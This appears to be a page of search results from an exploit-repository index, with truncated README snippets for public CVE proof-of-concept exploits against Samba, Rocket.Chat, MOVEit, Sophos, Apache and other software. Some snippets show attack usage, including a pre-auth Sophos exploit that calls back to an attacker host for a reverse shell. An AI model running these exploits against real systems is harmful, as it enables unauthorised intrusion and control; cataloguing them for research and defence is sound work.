1309891 matches found
external_expat-2.1.0_CVE-2022-25313
This repository does not have a README...
CVE-2007-2447-Exploit
CVE-2007-2447 Exploit This repository contains an exploit for Samba smbd 3.0.20 CVE-2007-2447 that allows remote command execution via crafted SMB requests. Prerequisites This exploit requires Python 3 and a few dependencies. It's recommended to set up a virtual environment before running the...
Rocket-Chat-3.12.1-PoC-CVE-2021-22911-
Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. Go login page 2. Register new account, set password as P@$$w0rd!1234 3. Run script -u = Low priv user email No 2fa -a = Administrator email -t = URL Eg: http://rocketchat.local python3 rocketchat.py -u [email protected] -a [email protected] -t...
CVE-2024-27348
CVE-2024-27348 This is a repository for Apache HugeGraph Remote Code Execution vulnerabilityCVE-2024-27348 Docker root@kitploit: docker pull hugegraph/hugegraph:1.0.0 docker run -it --name hgserver -p 8081:8080 hugegraph/hugegraph:1.0.0 docker-compose.yml root@kitploit: services: web: image:...
cookbook-bash-CVE-2014-6271
bash-CVE-2014-6271 Cookbook This Chef cookbook contains a default recipe that will fail your Chef run if a bash is found and that bash is vulnerable to the remote exploit described in CVE-2014-6271. The places to look for bash can be configured in the node'bash-CVE-2014-6271''bashes' attribute se...
ThinkAdmin-CVE-2020-25540
ThinkAdmin-CVE-2020-25540 ThinkAdmin CVE-2020-25540 POC root@kitploit: Usage root@kitploit: $ python3 exploit.py -t -c...
CVE-2017-7529
This repository does not have a README...
SubrionCMS-4.2.1-File-upload-RCE-auth-
SubrionCMS-4.2.1-File-upload-RCE-auth- This is an edited version of the CVE-2018-19422 exploit to fix an small but annoying issue I had. I had to use this exploit in a CTF but I could not get it to properly exploit, just kept failing to login. After an unholy amount of time I finally figured out...
joomla_CVE-2023-23752
joomlaCVE-2023-23752 Unauthorized access vulnerability nuclei...
CVE-2020-15169
README This README would normally document whatever steps are necessary to get the application up and running. Things you may want to cover: Ruby version System dependencies Configuration Database creation Database initialization How to run the test suite Services job queues, cache servers, searc...
fusee-toy
This repository contains the source code for the fusee-toy project, my basic implementation of CVE-2018-6242 AKA Fusée Gelée, AKA shofel2. It was written in January 2021 to better my knowledge of the vulnerability. This implementation has been built using the fusee-nano and fusee-launcher project...
cve-2024-CVE-2024-41713
cve-2024-CVE-2024-41713 cve-2024-CVE-2024-41713...
smb_usermap
smbusermap A simple exploit for CVE-2007-2447, present in Samba 3.0.20. You can exploit this vuln with even less than this, for instance, with smbclient, but I think it's tough to do complex commands, since a lot of special chars probably get eaten, but a simple command reboot in this case can be...
test-44228
test-44228 A simple example for CVE-2021-44228 Implements two java CLIs, one using log4j v1.x, the other using log4j 2.x to demonstrate the log4shell vulnerability. See also: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html Usage...
MoveIT-CVE-2023-34362-RCE
CVE-2023-34362: MOVEit Transfer Unauthenticated RCE For a full technical description of the vulnerability and exploitation, please read our AttackerKB Analysis. Usage ruby move.rb ruby move.rb 192.168.86.111 + Starting. target='https://192.168.86.111'. + Retrieved initial session token...
sophucked
sophucked CVE-2020-25223 RCE PoC, gets reverse shell. Pre-auth. Implemented this quickly as it was needed to unify some threat magnets. Example Use: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 + connection from...
cheese
Exploit de root para Quest 3/3S hasta la actualización del 7 de agosto de 2025 y anteriores, basado en CVE-2025-21479. captura de pantalla de Magisk, Cheese y Termux con una shell de root Advertencia: Rootear es peligroso. Si brickeeas un Quest 3/3S, no hay forma de repararlo. Esto desactiva toda...
cve-2021-42013-apache
Installation and Execution of the script 💻 Prerequisites Before starting, ensure you have the following tools installed on your machine: Python 3.x Git pip to manage Python dependencies Installation Steps 1. Clone the repository Use git to clone the repository: root@kitploit: git clone...